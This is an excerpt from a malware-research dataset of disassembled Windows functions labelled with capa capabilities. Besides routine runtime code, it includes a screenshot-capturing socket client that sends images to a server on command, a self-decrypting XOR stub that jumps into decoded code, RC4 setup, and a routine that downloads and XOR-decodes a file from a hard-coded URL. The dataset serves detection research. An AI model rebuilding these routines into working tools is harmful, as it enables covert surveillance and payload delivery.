joyce8/EMBER2024-capa huggingface dataset:
Function at 0x592b80
Capabilities:
Read .ini file

Disassembly:
push ebx
push ebp
push esi
push edi
push 0x400
call fcn.0059430e
mov ebx, dword [esp + 0x1c]
mov ebp, dword [esp + 0x40]
mov ecx, dword [esp + 0x28]
add esp, 4
mov esi, eax
mov eax, dword [esp + 0x30]
push ebx
push 0x400
push esi
push ebp
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
cmp eax, 0x3ff
jl 0x592bea
push esi
lea edi, [eax + 0x400]
call fcn.00593e18
push edi
call fcn.0059430e
mov edx, dword [esp + 0x38]
add esp, 8
mov esi, eax
mov eax, dword [esp + 0x24]
push ebx
push edi
push esi
push ebp
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
dec edi
cmp eax, edi
jge 0x592bba
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
xor ebx, ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x592c06
push ecx
push esi
call fcn.00592f40
add esp, 8
mov ebx, eax
push esi
call fcn.00593e18
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x59f300
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x7da908]
xor edx, edx
cmp eax, edx
jne 0x59f326
xor eax, eax
mov byte [eax + 0x7da808], al
inc eax
cmp eax, 0x100
jl 0x59f30e
mov dword [0x7da908], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x7da808
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x59f3b7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x59f38a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x59f358
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x59f430
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x59f483
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x59f46a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x5a5e30
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x5d687e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x18]
push esi
push edi
mov edi, ecx
mov ecx, dword [esp + 0x1c]
push eax
push ecx
mov ecx, edi
mov dword [esp + 0x10], edi
call fcn.005a6750
push 0x10
mov dword [esp + 0x18], 0
mov dword [edi], 0x773b9c
call fcn.005c6792
mov esi, eax
add esp, 4
mov dword [esp + 0x20], esi
mov al, 1
test esi, esi
mov byte [esp + 0x14], al
je 0x5a5ec3
push 4
mov byte [esi + 8], al
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.005c6792
add esp, 4
mov dword [esp + 0x1c], eax
test eax, eax
mov byte [esp + 0x14], 2
je 0x5a5ebc
push 0
mov ecx, eax
call fcn.0059cf30
mov dword [esi + 0xc], eax
jmp 0x5a5ec5
xor eax, eax
mov dword [esi + 0xc], eax
jmp 0x5a5ec5
xor esi, esi
mov ecx, dword [esp + 0xc]
mov dword [edi + 0x30], esi
mov dword [edi + 0x34], 0
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8

Function at 0x5c8e1f
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x5c8e57
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.005c6eac
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.005c6e84
jmp 0x5c8e63
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x5ca511
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x5ca553
call fcn.005d03d2
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x5ca553
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x5ca54a
xor eax, eax
jmp 0x5ca55b
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.005ca561
pop edi
pop esi
pop ebx
ret 4

Function at 0x5d0902
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x5d0930
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x5d094e
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.005d0868
jmp 0x5d094e
mov eax, dword [esi + 0x14]
test eax, eax
je 0x5d094e
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.005d0868
test edi, edi
mov eax, edi
jne 0x5d0938
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x401460
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Download and write a file
Initialize winsock library
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x5f4
call sym.___main
lea eax, [ebp - 0x19c]
mov dword [esp + 4], eax
mov dword [esp], 0x202
call sym._WSAStartup_8
sub esp, 8
test eax, eax
je 0x4014c3
call sym._WSAGetLastError_0
mov dword [esp + 8], eax
mov dword [esp + 4], str.____Error_initializing._Error_code:__d_n
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sym._fprintf
mov dword [esp], 1
call sym._exit
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
call sym._socket_12
sub esp, 0xc
mov dword [ebp - 0x1a0], eax
mov word [ebp - 0x1b0], 2
mov dword [esp], 0x22b8
call sym._htons_4
sub esp, 4
mov word [ebp - 0x1ae], ax
mov dword [esp], str.127.0.0.1
call sym._inet_addr_4
sub esp, 4
mov dword [ebp - 0x1ac], eax
mov eax, dword [ebp - 0x1a0]
mov dword [esp + 8], 0x10
lea edx, [ebp - 0x1b0]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._connect_12
sub esp, 0xc
cmp eax, 0xffffffff
jne 0x401571
call sym._WSAGetLastError_0
mov dword [esp + 8], eax
mov dword [esp + 4], str.____Unable_to_connect._Error_code:__d_n
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sym._fprintf
mov dword [esp], 1
call sym._exit
mov dword [esp], str.___Connected_successfully
call sym._puts
mov eax, dword [ebp - 0x1a0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x14
lea edx, [ebp - 0x5de]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._recv_16
sub esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x4015d7
call sym._WSAGetLastError_0
mov dword [esp + 8], eax
mov dword [esp + 4], str.____Unable_to_receive._Error_code:__d_n
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sym._fprintf
jmp 0x401681
cmp dword [ebp - 0xc], 0
jne 0x401607
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x16
mov dword [esp + 4], 1
mov dword [esp], str.____Connection_closed_n
call sym._fwrite
jmp 0x401681
lea edx, [ebp - 0x5de]
mov eax, dword [ebp - 0xc]
add eax, edx
mov byte [eax], 0
lea eax, [ebp - 0x5de]
mov dword [esp], eax
call sym._is_valid
test al, al
je 0x40157d
mov dword [esp + 4], str._end
lea eax, [ebp - 0x5de]
mov dword [esp], eax
call sym._strcmp
test eax, eax
je 0x401680
mov dword [esp + 4], 0x40b11f
lea eax, [ebp - 0x5de]
mov dword [esp], eax
call sym._strcmp
test eax, eax
jne 0x40157d
lea eax, [ebp - 0x5ca]
mov dword [esp + 4], eax
lea eax, [ebp - 0x1a0]
mov dword [esp], eax
call sym._handle_screenshot
jmp 0x40157d
nop
mov eax, dword [ebp - 0x1a0]
mov dword [esp], eax
call sym._closesocket_4
sub esp, 4
call sym._WSACleanup_0
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret
Function at 0x401759
Capabilities:
Read and send data from client to server
Read file on windows
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
call sym._take_screenshot
mov dword [esp + 4], 0x40b12a
mov dword [esp], str.C:UsersYishaiPicturesclient_screenshot.png
call sym._fopen
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4017b3
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x40b15f
mov dword [esp], eax
call sym._send_16
sub esp, 0x10
mov eax, 0
jmp 0x4018ed
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._get_file_size
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov dword [esp], str.Img_size:__u_n
call sym._printf
mov eax, dword [ebp - 0x10]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x40b16f
mov dword [esp + 4], 0x3e8
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym.___mingw_snprintf
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._strlen
mov edx, eax
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov edx, dword [ebp + 0xc]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._send_16
sub esp, 0x10
cmp eax, 0xffffffff
jne 0x4018a4
call sym._WSAGetLastError_0
mov dword [esp + 8], eax
mov dword [esp + 4], str.____Unable_to_send_msg._Error_code:__d
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sym._fprintf
mov eax, 0
jmp 0x4018ed
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov dword [esp + 0xc], 0
mov edx, dword [ebp - 0x14]
mov dword [esp + 8], edx
mov edx, dword [ebp + 0xc]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._send_16
sub esp, 0x10
cmp eax, 0xffffffff
jne 0x4018a4
call sym._WSAGetLastError_0
mov dword [esp + 8], eax
mov dword [esp + 4], str.____Error_sending_data._Error_code:__d_n
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sym._fprintf
jmp 0x4018cf
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 4
mov dword [esp + 4], 1
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._fread
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x401856
mov dword [esp], str.Sent_screenshot
call sym._printf
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._fclose
cmp dword [ebp - 0x14], 0
sete al
leave
ret
Function at 0x401f90
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x40e044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40e03c]
sub esp, 4
test ebx, ebx
je 0x401fdb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x401fd4
test esi, esi
je 0x401fd4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401fb0
mov dword [esp], 0x40e044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x4021c0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x402210
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x4022e8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x40224e
cmp eax, 4
jne 0x402270
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x40225e
cmp edx, 4
je 0x40225e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.004021c0
Function at 0x1000f6a3
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x1000f6e2
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1000f6e2
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1000f6e2
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x1000f6e2
cmp dword [ecx + 0x74], 0xe
jbe 0x1000f6e2
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x1001235f
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x100123fc
push ebx
push esi
call fcn.10012328
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.100122bc
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x100123a9
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x100123fb
push edi
push eax
call fcn.1001331a
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x100123c9
call fcn.10010e04
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x100123fa
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.100122bc
add esp, 0x20
test eax, eax
jne 0x100123e8
push edi
call fcn.10010e04
jmp 0x100123f0
push ebx
call fcn.10010e04
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x10012669
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1001a888
push 0x1001a880
push str.FlsAlloc
push 0x1f
call fcn.10012585
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1001269d
push dword [ebp + 8]
mov ecx, esi
call dword [0x10019150]
call esi
jmp 0x100126a3
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x100126e7
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1001a898
push 0x1001a890
push str.FlsGetValue
push 0x21
call fcn.10012585
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1001271e
push dword [ebp + 8]
mov ecx, esi
call dword [0x10019150]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x10012726
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1001a8a0
push 0x1001a898
push str.FlsSetValue
push 0x22
call fcn.10012585
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10012760
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x10019150]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x10017de0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10017e0d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10017e0d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x40ae40
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4f8529
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x54636c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov dword [esi], vtable.CRunSoftUpd.0
mov dword [ebp - 4], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x30], 0
lea ecx, [esi + 0x34]
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
cmp dword [ecx + 0x14], 0x10
jb 0x40aebb
mov eax, dword [ecx]
jmp 0x40aebd
mov eax, ecx
mov byte [eax], 0
lea eax, [esi + 0x4c]
mov dword [eax + 0x14], 7
mov dword [eax + 0x10], 0
cmp dword [eax + 0x14], 8
jb 0x40aed9
mov eax, dword [eax]
xor edx, edx
mov word [eax], dx
push edx
xorps xmm0, xmm0
mov byte [ebp - 4], 3
push 0x501630
mov dword [esi + 0x20], edx
mov dword [esi + 0x18], edx
mov dword [esi + 0x1c], edx
movsd qword [esi + 0x10], xmm0
call fcn.00404610
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40bc80
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4f8640
mov eax, dword fs:[0]
push eax
sub esp, 0x54
mov eax, dword [0x54636c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x2c], ecx
push 0x46
push str.http:__update.wn51.com_gamebox_wn_fb9f548e557af42fc9859a460aa3de27.cba
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x28], 0
call fcn.00404610
cmp dword [0x54cc98], 0
mov dword [ebp - 4], 0
jne 0x40bce4
call fcn.00409d70
mov ecx, dword [0x54cc98]
call fcn.00404010
cmp eax, 2
jne 0x40bd03
push 0x46
push str.http:__update.wn51.com_gamebox_wn_d19eedb71b840815d580ae20817a1000.cba
lea ecx, [ebp - 0x28]
call fcn.00404610
cmp dword [ebp - 0x18], 0
jne 0x40bd10
xor esi, esi
jmp 0x40bdc9
lea ecx, [ebp - 0x60]
call fcn.004223db
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 1
cmovae eax, dword [ebp - 0x28]
push eax
call fcn.0042248a
lea ecx, [ebp - 0x60]
call fcn.004227e8
mov edi, eax
mov eax, 1
mov esi, dword [edi + 4]
sub esi, dword [edi]
cmove esi, eax
inc esi
push esi
call fcn.0041c0ba
push esi
mov ebx, eax
push 0
push ebx
call fcn.0048faf0
mov eax, dword [edi + 4]
add esp, 0x10
xor esi, esi
xor edx, edx
sub eax, dword [edi]
je 0x40bd93
nop word [eax + eax]
mov eax, dword [edi]
mov cl, byte [esi + str.c335b80a32136330ebfa2439bf4cbfcb]
xor cl, byte [edx + eax]
lea eax, [esi + 1]
mov byte [edx + ebx], cl
xor esi, esi
inc edx
cmp eax, 0x20
cmovl esi, eax
mov eax, dword [edi + 4]
sub eax, dword [edi]
cmp edx, eax
jb 0x40bd70
push ebx
mov ebx, dword [ebp - 0x2c]
mov ecx, ebx
call fcn.0040d9b0
test eax, eax
je 0x40bdbf
mov ecx, ebx
call fcn.0040d050
test eax, eax
je 0x40bdbf
mov ecx, ebx
call fcn.0040be40
test eax, eax
je 0x40bdbf
mov esi, 1
jmp 0x40bdc1
xor esi, esi
lea ecx, [ebp - 0x60]
call fcn.0042241c
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x40be13
mov ecx, dword [ebp - 0x28]
inc eax
cmp eax, 0x1000
jb 0x40be0a
test cl, 0x1f
je 0x40bde6
call fcn.00492665
mov eax, dword [ecx - 4]
cmp eax, ecx
jb 0x40bdf2
call fcn.00492665
sub ecx, eax
cmp ecx, 4
jae 0x40bdfe
call fcn.00492665
cmp ecx, 0x23
jbe 0x40be08
call fcn.00492665
mov ecx, eax
push ecx
call fcn.004896a3
add esp, 4
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041bf36
mov esp, ebp
pop ebp
ret
Function at 0x40c9c0
Capabilities:
Create thread

Disassembly:
push esi
mov esi, ecx
lea eax, [esi + 0x1c]
push eax
push 0
push esi
push 0x40cb50
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0x18], eax
pop esi
ret